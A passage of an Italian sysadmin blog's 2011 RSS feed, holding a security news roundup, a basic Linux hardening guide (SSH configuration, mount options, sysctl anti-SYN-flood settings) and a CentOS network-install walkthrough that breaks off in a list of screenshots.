title="SecurID RSA Violato" href="http://www.pcmag.com/article2/0,2817,2386086,00.asp" target="_blank">http://www.pcmag.com/article2/0,2817,2386086,00.asp</a> evento che rende pericolosa anche le transazioni online.</li><li>Ebay acquista Magento <a
title="Ebay acquista Magento" href="http://www.magentocommerce.com/blog/ebay-agrees-to-acquire-magento" target="_blank">http://www.magentocommerce.com/blog/ebay-agrees-to-acquire-magento</a></li><li>Le chiamate su skype si possono intercettare <a
title="Skype intercettare chiamate" href="http://www.scmagazine.com.au/News/258827,how-to-intercept-skype-calls.aspx" target="_blank">http://www.scmagazine.com.au/News/258827,how-to-intercept-skype-calls.aspx</a> grazie al reverse engineering del protocollo <a
title="Reverse engineering di skype" href="http://tech.slashdot.org/story/11/06/02/1914250/Skype-Protocol-Has-Been-Reverse-Engineered" target="_blank">http://tech.slashdot.org/story/11/06/02/1914250/Skype-Protocol-Has-Been-Reverse-Engineered</a> durato anni. Una possibile alternativa potrebbe essere <a
title="Alternative a skype" href="http://www.fsf.org/blogs/community/skype-replacement-projects" target="_blank">http://www.fsf.org/blogs/community/skype-replacement-projects</a></li><li>Anche gli hackers di Anonymous vogliono lanciare il loro Social Network, logicamente solo notizie in completo anonimato, forse non gli è andata giù l&#8217;estromissione da Google+ , oppure per uno spirito di concorrenza con il nuovo Social Network della Microsoft annunciato in modo maldestro h<a
title="Social Network Microsoft" href="http://www.socl.com/" target="_blank">ttp://www.socl.com/</a>. Il social di Anonymous <a
title="Social Network di Anonymous" href="http://anonplus.com/" target="_blank">http://anonplus.com/</a> in questa pagina l&#8217;annuncio <a
title="Annuncio del Social Network di Anonymous" href="http://www.examiner.com/anonymous-in-national/anonplus-the-anti-social-networkhttp-anonplus-com" target="_blank">http://www.examiner.com/anonymous-in-national/anonplus-the-anti-social-networkhttp-anonplus-com</a></li><li>E per ultimo una notizia vecchia, il 3 giugno 2011 il team di hackers Lulz Security diffonde online la configurazione del server web di nintendo.com dopo averlo violato, la ripropongo, magari a qualcuno interessa vedere come i grossi web server vengono configurati e gli errori che si fanno, prima però una massima di qualcuno che non ricordo il nome:</li></ul><blockquote><p>Chi non conosce gli errori della Storia, è destinato a ripeterli</p></blockquote><p><a
href="http://www.arturu.it/blog/2011/07/19/notizie-interessanti-luglio-2011-kernel-vmware-5-hack-secureid-skype-ebay-anonymous/nintendo/" rel="attachment wp-att-876">configurazione server web nintendo.com</a></p><p>Saluti</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2011/07/19/notizie-interessanti-luglio-2011-kernel-vmware-5-hack-secureid-skype-ebay-anonymous/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Hardening di base di un sistema linux ovvero i vaneggiamenti di un sysadmin paranoico</title><link>http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/</link> <comments>http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/#comments</comments> <pubDate>Sat, 16 Jul 2011 15:34:25 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Sistemista]]></category> <category><![CDATA[hardening]]></category> <category><![CDATA[internet]]></category> <category><![CDATA[os]]></category> <category><![CDATA[protocolli]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[Servizi Web]]></category> <category><![CDATA[sicurezza]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Zero-day]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=828</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a></p>Premesso che la sicurezza in modo assoluto non esiste, oggi affronteremo un argomento molto vasto e complesso l&#8217;hardening di un sistema linux, cioè come rendere più sicuro un sistema esposto sulla rete. In realtà non esiste una guida o &#8220;la [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a></p><p><a
href="http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/tux-pol-150x150/" rel="attachment wp-att-833"><img
class="alignleft size-full wp-image-833" title="Hardening linux" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/tux-pol-150x150.jpg" alt="" width="150" height="150" /></a>Premesso che la sicurezza in modo assoluto non esiste, oggi affronteremo un argomento molto vasto e complesso l&#8217;<strong>hardening di un sistema linux</strong>, cioè come rendere più sicuro un sistema esposto sulla rete. In realtà non esiste una guida o &#8220;<em>la guida</em>&#8221; per mettere in sicurezza un sistema linux ma esistono delle regole per evitare che un sistema sia meno attaccabile. Inoltre, questa non vuole essere una guida esaustiva ma una specie di promemoria sulle operazioni da compiere appena installato un sistema linux.<br
/> Questo promemoria sull&#8217;hardening di un sistema linux è destinato a persone che hanno un po&#8217; di esperienza su linux, particolari conoscenze o riti arcani non servono, basta conoscere un po&#8217; il sistema che si intende modificare e i concetti base di linux, comunque, se ricopiate paro paro i comandi senza ragionare rischiate di rendere inaccessibile il vostro sistema.</p><h2><span
id="more-828"></span>Le partizioni e il filesystem</h2><p>Come tutti sanno la radice del filesystem può essere su un unica partizione oppure articolata con diversi punti di montaggio. Come da molte guide che si possono trovare in giro per la rete è ormai assodato che le directory <em>/tmp</em> , <em>/var</em> , <em>/usr</em> e <em>/home</em> vanno montate in partizioni separate.</p><ul><li>Il punto di montaggio <em>/tmp</em> è pubblico, cioè tutti gli utenti devono avere la possibilità di scrivere, quindi, un aumento spropositato di questo punto di montaggio potrebbe mettere in crisi tutto il sistema se esso fosse su un&#8217;unica partizione. Non conviene montare questa partizione con l&#8217;opzione noexec poiché spesso alcuni software usano questa posizione per installare/aggiornare i pacchetti. Poi, se si è abbastanza paranoici come il sottoscritto, si può montare la partizione con l&#8217;opzione noexec, quando bisognerà fare manutenzione sul sistema <em>/tmp</em> verrà smontata e rimontata senza l&#8217;opzione noexec.</li><li>Il punto di montaggio <em>/var</em> è altrettanto importante per quanto riguarda la sicurezza del sistema, specialmente per la presenza di <em>/var/log</em>, in esso vengonono salvati i log di sistema e in caso di un attacco DOS o un brute force potrebbe aumentare a dismisura. Questa partizione si può montare tranquillamente con l&#8217;opzione noexec.</li><li>Il punto di montaggio <em>/usr</em> va montato in sola lettura, da smontare e rimontare in scrittura quando bisogna fare manutenzione al sistema.</li><li>Per il punto di montaggio <em>/home</em> è buona cosa usare una partizione separata, per una serie infinita di motivi, tra i quali vi è la necessità di montare la partizione con l&#8217;opzione noexec. Questo si fa per evitare che un utente possa caricare un eseguibile bacato con l&#8217;intento di sfruttare lo stesso eseguibile per ottenere i privilegi di amministratore tramite shellcode.</li></ul><p>Già queste impostazioni garantiscono una buona sicurezza, poi se si è abbastanza paranoici si può pensare di togliere il bit SUID/SGID da molti eseguibili non strettamente necessari, dipende da sistema a sistema. In caso si utilizza un sistema virtuale in remoto si potrebbe anche utilizzare le quote per settare le dimensioni massime che devono avere le cartelle.<br
/> Se siete sysadmin molto paranoici come il sottoscritto, subito dopo l&#8217;installazione del sistema ci si può calcolare hash di alcuni file sensibili: grep, ls, ps, netstat ecc; infatti, essi sono i primi che un probabile un attaccante modifica per nascondersi nel sistema. Per questa operazione è meglio usare MD5 e SHA1 al posto di MD2 e MD4 che sono algoritmi già violati (teoricamente anche l&#8217;MD5 è violabile ma solo in determinate condizioni che non rientrano nel nostro caso). Logicamente ad ogni aggiornamento bisogna ricalcolare gli hash, ci si può costruire facilmente uno script che faccia questo.</p><h2>Utenti</h2><p>Per un servizio che è costantemente esposto sulla rete i nomi utente giocano un ruolo molto importante se non fondamentale. Da molti bruteforce subiti, sicuramente da parte di bot che scansionano la rete alla ricerca di sistemi vulnerabili, i nome utente più attaccati sono: root, admin, administrator, testing, spam, postgres, ftpuser, user, newsletter, fax, ftp, office, training, demo, oracle, master, contact, staff, sales, backup, info, test, marketing, smtp, bob, windows, webmaster, mysql, anonymous, guest, ecc., quindi di conseguenza utilizzare questi nome utente per i servizi non è un&#8217;idea molto buona, usare questi username si semplifica del 50% il compito di un eventuale attaccante.<br
/> Una buona soluzione è quella di utilizzare per i nome utente regole simili quelle delle passwords o quasi. Per esempio, all&#8217;utente Mario Rossi si potrebbe impostare un nome utente tipo &#8220;MarioRossi123z&#8221; oppure &#8220;mrossi56ScF&#8221; e così via. La stesso concetto si può estendere anche agli accessi ftp o mail se si fornisce un servizio di hosting o simili.<br
/> Vietare l&#8217;accesso ssh agli utenti e non permettere l&#8217;utilizzo di shell, altrimenti un utente malintenzionato potrebbe compilare o caricare un eseguibile con un bug costruito ad hoc e attraverso esso ottenere i privilegi di root. Impostando la partizione <em>/home</em> con noexec, vietando agli utenti l&#8217;utilizzo di shell e dei compilatori possiamo stare relativamente tranquilli.</p><p>Volendo essere paranoici ci si può costruire uno script che analizza ogni ora o mezzora i log di sistema e ad un tot numero di login falliti da parte di un ip metta in banlist lo stesso. Ci si può inventare un pò di tutto, basta un pò di fantasia.</p><h2>Servizi</h2><p>I servizi senza ombra di dubbio sono la via d&#8217;accesso dei nostri potenziali intrusi, dire che bisogna mantenere aggiornato il software è abbastanza scontato, quindi, la prima regola è un update di sicurezza giornaliero.<br
/> La scelta migliore che si possa fare è chiudere tutti i servizi che non ci servono e rinforzare quelli che offriamo. Come prima cosa eliminare totalmente telnet e simili, se per caso sono installati, ma ormai neanche nelle installazioni di default ci stanno sti servizi. Successivamente controlliamo quali servizi sono aperti digitando da terminale:</p><pre>netstat -t -u -l</pre><p>oppure se preferiamo il numero delle porte</p><pre>netstat -t -u -l --numeric-ports</pre><p>dovremmo ottenere un output simile a questo</p><pre>Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address      Foreign Addr  State
tcp        0      0 *:pop3s                *:*       LISTEN
tcp        0      0 *:mysql                *:*       LISTEN
tcp        0      0 *:pop3                 *:*       LISTEN
tcp        0      0 *:imap                 *:*       LISTEN
tcp        0      0 localhost.locald:domain*:*       LISTEN
tcp        0      0 *:smtp                 *:*       LISTEN
tcp        0      0 *:imaps                *:*       LISTEN
tcp        0      0 *:http                 *:*       LISTEN
tcp        0      0 *:domain               *:*       LISTEN
tcp        0      0 *:ftp                  *:*       LISTEN
tcp        0      0 *:https                *:*       LISTEN
tcp        0      0 *:ssh                  *:*       LISTEN
udp        0      0 localhost.locald:domain*:*
udp        0      0 localhost.locald:domain*:*
udp        0      0 *:36593                *:*
udp        0      0 *:domain               *:*</pre><p>Vediamo dove intervenire</p><h2>Mettere in sicurezza SSH</h2><p>Come detto in precedenza solo gli admin o l&#8217;admin dovrebbe essere abilitato a questo accesso, gli altri utenti non devono poter accedere a questo servizio. Inoltre, molto importante è disabilitare l&#8217;accesso all&#8217;utente root, i privilegi di superutente verranno acquisiti dagli admin tramite il comando su.<br
/> Apriamo il file <em>/etc/ssh/sshd_config</em> con un editor, per disabilitare l&#8217;accesso a root, lasciare l&#8217;accesso solo ad alcuni utenti e vietare l&#8217;uso di password vuote, modificare come segue le seguenti linee</p><pre>PermitRootLogin no
AllowUsers pincopallino, secondopinco
PermitEmptyPasswords no</pre><p>Una buona idea è cambiare la porta predefinita del servizio e forzare l&#8217;utilizzo del protocolo 2</p><pre>Port 65000
Protocol 2</pre><p>eventualmente per impedire l&#8217;utilizzo di sftp commentare la riga</p><pre>#Subsystem    sftp    /usr/libexec/openssh/sftp-server</pre><p>eventualmente se si volesse modificare il banner di presentazione del servizio, prima bisogna de-commentare la seguente riga e successivamente impostare una path dove salvare un file di testo con il banner</p><pre>#Banner /some/path</pre><p>modificato tutto, bisogna riavviare il servizio sshd stando attenti a non fare alcun errore, se si opera in remoto si rischia di autoescludersi dal sistema.</p><p>In caso la paranoia si fa sentire, si può abilitare l&#8217;accesso a ssh soltanto in possesso di una chiave crittografica impostando nel file di configurazione</p><pre>PubkeyAuthentication yes</pre><p>successivamente bisognerà generare una chiave privata e una pubblica per ogni utente a cui si vuole dare l&#8217;accesso, maggiori informazioni su <a
title="Informazioni sulle chiavi ssh" href="http://sial.org/howto/openssh/publickey-auth" target="_blank">http://sial.org/howto/openssh/publickey-auth</a> o <a
title="Sito ufficiale ssh" href="http://www.openssh.com" target="_blank">http://www.openssh.com</a>, l&#8217;accesso si effettua soltanto con la chiave e non verrà richiesta alcuna password.<br
/> Inoltre, possiamo fare in modo che ogni utente loggato lavori in un abiente simile ad un sistema linux ma limitato di alcuni comandi utilizzando un fake chroot, oppure, possiamo prevedere l&#8217;apertura della porta ssh con il port knocking (la classica bussata segreta) per queste e altre tecniche rimando sempre al sito ufficiale di openssh, altrimenti questo articolo diventerebbe troppo lungo.</p><h2>Gli altri servizi</h2><p>Secondo il mio punto di vista sono da prediligere pop3s, smtps e imaps e da chiudere pop3, smtp e imap a meno che non abbiate degli utenti che li utilizzano, in tal caso bisognerà costruire una specie di piano d&#8217;uscita da questi servizi obsoleti.</p><h2>Limitare un SYN Flood</h2><p>Questo era un attacco DOS molto comune alla fine del secolo scorso, le recenti impostazioni di rete tendono a limitare o annullare del tutto questo tipo di attacco. L&#8217;attacco tende a saturare le risorse di sistema, una descrizione dell&#8217;attacco la si può trovare su <a
title="Info SYN Flood" href="http://www.cert.org/advisories/CA-1996-21.html" target="_blank">http://www.cert.org/advisories/CA-1996-21.html</a> . Per limare ulteriolmente le impostazioni di sicurezza rispetto a quelle della vostra rete si possono utlizzare i SYN cookies, essi limitano il numero di richieste da parte di un singolo utente. Aprire il file <em>/etc/sysctl.conf</em> (è un file di configurazione del kernel) ed editare le seguenti linee</p><pre>#Prevent SYN attack
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = xxx
net.ipv4.tcp_synack_retries = 2</pre><p>e le successive linee per la protezione contro l’IP Spoofing</p><pre># Enable IP spoofing protection, turn on source route verification
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.lo.rp_filter = 1
net.ipv4.conf.eth0.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1</pre><p>poi se si desidera configurare la distribuzione come un firewall possiamo utilizzare la configurazione proposta da <a
title="Impostazioni firewall sysctl.conf " href="http://openskill.info/infobox.php?ID=1166" target="_blank">http://openskill.info/infobox.php?ID=1166</a></p><pre>net.ipv4.ip_forward = 1
net.ipv4.ip_dynaddr = 1
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.tcp_sack = 0
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_fin_timeout = 30
net.ipv4.tcp_window_scaling = 0
net.ipv4.tcp_syn_retries = 3
net.ipv4.tcp_synack_retries = 3
net.ipv4.conf.default.rp_filter = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.default.accept_source_route = 0
net.ipv4.conf.default.log_martians = 1
net.ipv4.conf.all.rp_filter = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.log_martians = 1
kernel.printk = 1 4 1 7
##
net.ipv4.tcp_max_syn_backlog=1280
net.ipv4.conf.all.send_redirects=0
net.ipv4.conf.all.forwarding=0
net.ipv4.conf.all.mc_forwarding=0
net.ipv4.vs.timeout_timewait=60</pre><p>Conclusioni</p><p>Secondo il mio punto di vista questo è il minimo sindacale per mettere in sicurezza il nostro sistema esposto ai rischi della rete. Certo l&#8217;hardening non finisce qua, anzi, questa è solo la punta dell&#8217;iceberg, è compito di ogni sistemista documentarsi e apprendere giorno per giorno nuove tecniche, anche tentando di violare i propri sistemi per saggiarne la sicurezza.</p><p>In rete si trovano numerosi script che ci aiutano in questo compito, magari in un prossimo futuro farò un articolo in merito.</p><p>Saluti</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>Come installare CentOS dalla rete con netinstall</title><link>http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/</link> <comments>http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/#comments</comments> <pubDate>Mon, 11 Jul 2011 16:10:59 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Sistemista]]></category> <category><![CDATA[Soluzioni]]></category> <category><![CDATA[Web]]></category> <category><![CDATA[CentOS]]></category> <category><![CDATA[OpenSource]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=786</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a><a
href="http://www.arturu.it/blog/category/web/" title="Web">Web</a></p>Continuano i miei &#8220;giochi&#8221; su CentOS, oggi vedremo come installare CentOS recuperando i file di installazione dalla rete utilizzando l&#8217;immagine netinstall. Inoltre, vedremo anche come configurare un&#8217;installazione minima, senza interfaccia grafica, utile per un server web, mail, e tutto quello [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a><a
href="http://www.arturu.it/blog/category/web/" title="Web">Web</a></p><p><a
href="http://www.arturu.it/blog/2011/07/08/come-attivare-wildcard-su-centos-con-directadmin/centos-jpg/" rel="attachment wp-att-768"><img
class="alignleft size-medium wp-image-768" title="CentOS" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/centOS.jpg-300x170.png" alt="" width="180" height="106" /></a>Continuano i miei &#8220;giochi&#8221; su CentOS, oggi vedremo come installare CentOS recuperando i file di installazione dalla rete utilizzando l&#8217;immagine netinstall. Inoltre, vedremo anche come configurare un&#8217;installazione minima, senza interfaccia grafica, utile per un server web, mail, e tutto quello che potrebbe offrirci un server. Non servono particolari conoscenze per installare CentOS, un minimo di conoscenze dei sistemi linux possono bastare.</p><p><span
id="more-786"></span>Come prima cosa bisogna recuperare l&#8217;immagine di avvio, esistono diversi mirrors da cui scaricare l&#8217;immagine che ci interessa, io utilizzo spesso <a
title="Server immagini iso linux" href="http://mirrors.kernel.org" target="_blank">http://mirrors.kernel.org</a> ma nessuno vieta di utilizzare altri server mirror compresi gli ftp pubblici. Ci spostiamo tra le cartelle e raggiungiamo <a
title="Server immagini iso linux" href="http://mirrors.kernel.org/" target="_blank">http://mirrors.kernel.org/centos/5/isos/</a> , qui dobbiamo scegliere l&#8217;architettura che ci interessa, nel mio caso i386 e scaricare l&#8217;immagine iso con il suffisso -netinstall che nel mio caso è <a
title="Immagine iso netinstall" href="http://mirrors.kernel.org/centos/5/isos/i386/CentOS-5.6-i386-netinstall.iso" target="_blank">http://mirrors.kernel.org/centos/5/isos/i386/CentOS-5.6-i386-netinstall.iso</a>. Masterizzare l&#8217;iso su un cd, reboot e avvio dell&#8217;immagine, oppure, configurare una macchina virtuale.</p><p>Alla schermata di boot premete invio per far iniziare l&#8217;installazione, come al solito rispondete ad un po&#8217; di domande tipo la scelta della lingua (consiglio evitare di scegliere il cinese, è un po&#8217; complicato <img
src='http://www.arturu.it/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ) e il layout della tastiera fino ad arrivare alla schermata &#8220;Metodo d&#8217;installazione&#8221;.</p><p>A questo punto bisogna indicare dove si trovano i file di installazione, nel nostro caso si trovano su <a
title="File installazione Centos da rete" href="http://mirrors.kernel.org/centos/5/os/i386/" target="_blank">http://mirrors.kernel.org/centos/5/os/i386/</a> , quindi dobbiamo selezionare come &#8220;Media&#8221; il protocollo HTTP e cliccare OK.</p><p>Ci verrà chiesto di configurare la scheda di rete del nostro server, sia con ipv4 che con ipv6. Possiamo fare due scelte: lasciamo tutto automatico e a post-installazione impostiamo un indirizzo statico (tramite interfaccia grafica); oppure, impostiamo manualmente la scheda, io ho optato per la seconda opzione.</p><p>Siamo arrivati al punto cruciale di questa guida, appena impostata la scheda di rete ci verrà chiesto da dove reperire i file di installazione. Ci verrà chiesto di inserire il &#8220;nome del sito web&#8221;, è il dominio dove sono ospitati i files, inserire il nome senza il protocollo (l&#8217;avevamo già scelto in precedenza), nel nostro caso:</p><pre>mirrors.kernel.org</pre><p>e come &#8220;Directory CentOS&#8221; inseriamo</p><pre>centos/5/os/i386/</pre><p>rispettiamo rigorosamente gli slash, tenera presente che &#8220;http://&#8221; viene aggiunto in automatico prima del dominio, stessa cosa per lo slash &#8220;/&#8221; dopo il dominio. Al posto del nome di dominio si può mettere anche un indirizzo ip. Se precedentemente avete scelto un altro media verranno richiesti i parametri per quel tipo di connessione.</p><p>Inizierà il recupero dei file di installazione dalla rete, al termine verrà visualizzata l&#8217;interfaccia grafica per l&#8217;installazione di CentOS. Verranno richieste le solite impostazioni: partizioni disco, impostazione schede di rete, fuso orario e password di root. La schermata successiva all&#8217;impostazione della password di root è la scelta del tipo di configurazione, nel nostro caso scegliamo &#8220;server&#8221; e omettiamo di installare l&#8217;interfaccia grafica (orpello inutile e spreca-risorse per un server web), in questo passo possiamo scegliere di installare anche servizi aggiuntivi e aggiungere servizi all&#8217;installazione minimale, es: mysql, dns, posta, ecc. Cliccando avanti parte l&#8217;installazione, riavviare il sistema senza cd.</p><p>Al primo avvio partirà il tool di configurazione dei servizi (demoni, firewall, Selinux, ecc.), in caso il tool non parte o viene annullato si può farlo ripartire lanciando &#8220;setup&#8221; dopo il login.</p><p>Se si è scelto di installare il tutto su una macchina virtuale e la scheda di rete è impostata in bridge, in caso di mancata risoluzione dei dns modificare il file:</p><pre>/etc/sysconfig/network-scripts/ifcfg-eth0</pre><p>aggiungendo le seguenti stringhe alla fine (DNS1 è un esempio, DNS2 è OpenDNS)</p><pre>DNS1=192.168.1.254
DNS2=208.67.222.222</pre><p>Di seguito le immagini in sequenza per i più pigri che si scocciano a leggere tutto quello che ho scritto.</p><p>Saluti Arturu.it</p><p><a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-0/' title='installare-centos-0'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-0-150x150.png" class="attachment-thumbnail" alt="installare-centos-0" title="installare-centos-0" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-1/' title='installare-centos-1'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-1-150x150.png" class="attachment-thumbnail" alt="installare-centos-1" title="installare-centos-1" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-2/' title='installare-centos-2'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-2-150x150.png" class="attachment-thumbnail" alt="installare-centos-2" title="installare-centos-2" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-3/' title='installare-centos-3'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-3-150x150.png" class="attachment-thumbnail" alt="installare-centos-3" title="installare-centos-3" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-4/' title='installare-centos-4'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-4-150x150.png" class="attachment-thumbnail" alt="installare-centos-4" title="installare-centos-4" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-5/' title='installare-centos-5'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-5-150x150.png" class="attachment-thumbnail" alt="installare-centos-5" title="installare-centos-5" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-6/' title='installare-centos-6'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-6-150x150.png" class="attachment-thumbnail" alt="installare-centos-6" title="installare-centos-6" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-8/' title='installare-centos-8'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-8-150x150.png" class="attachment-thumbnail" alt="installare-centos-8" title="installare-centos-8" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-9/' title='installare-centos-9'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-9-150x150.png" class="attachment-thumbnail" alt="installare-centos-9" title="installare-centos-9" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-10/' title='installare-centos-10'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-10-150x150.png" class="attachment-thumbnail" alt="installare-centos-10" title="installare-centos-10" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-11/' title='installare-centos-11'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-11-150x150.png" class="attachment-thumbnail" alt="installare-centos-11" title="installare-centos-11" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-12/' title='installare-centos-12'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-12-150x150.png" class="attachment-thumbnail" alt="installare-centos-12" title="installare-centos-12" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-13/' title='installare-centos-13'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-13-150x150.png" class="attachment-thumbnail" alt="installare-centos-13" title="installare-centos-13" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-14/' title='installare-centos-14'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-14-150x150.png" class="attachment-thumbnail" alt="installare-centos-14" title="installare-centos-14" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-15/' title='installare-centos-15'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-15-150x150.png" class="attachment-thumbnail" alt="installare-centos-15" title="installare-centos-15" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-16/' title='installare-centos-16'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-16-150x150.png" class="attachment-thumbnail" alt="installare-centos-16" title="installare-centos-16" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-17/' title='installare-centos-17'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-17-150x150.png" class="attachment-thumbnail" alt="installare-centos-17" title="installare-centos-17" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-18/' title='installare-centos-18'><img
width="150" height="150" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/installare-centos-18-150x150.png" class="attachment-thumbnail" alt="installare-centos-18" title="installare-centos-18" /></a><br
/> <a
href='http://www.arturu.it/blog/2011/07/11/come-installare-centos-dalla-rete-con-netinstall/installare-centos-19/' title='installare-centos-19'><img
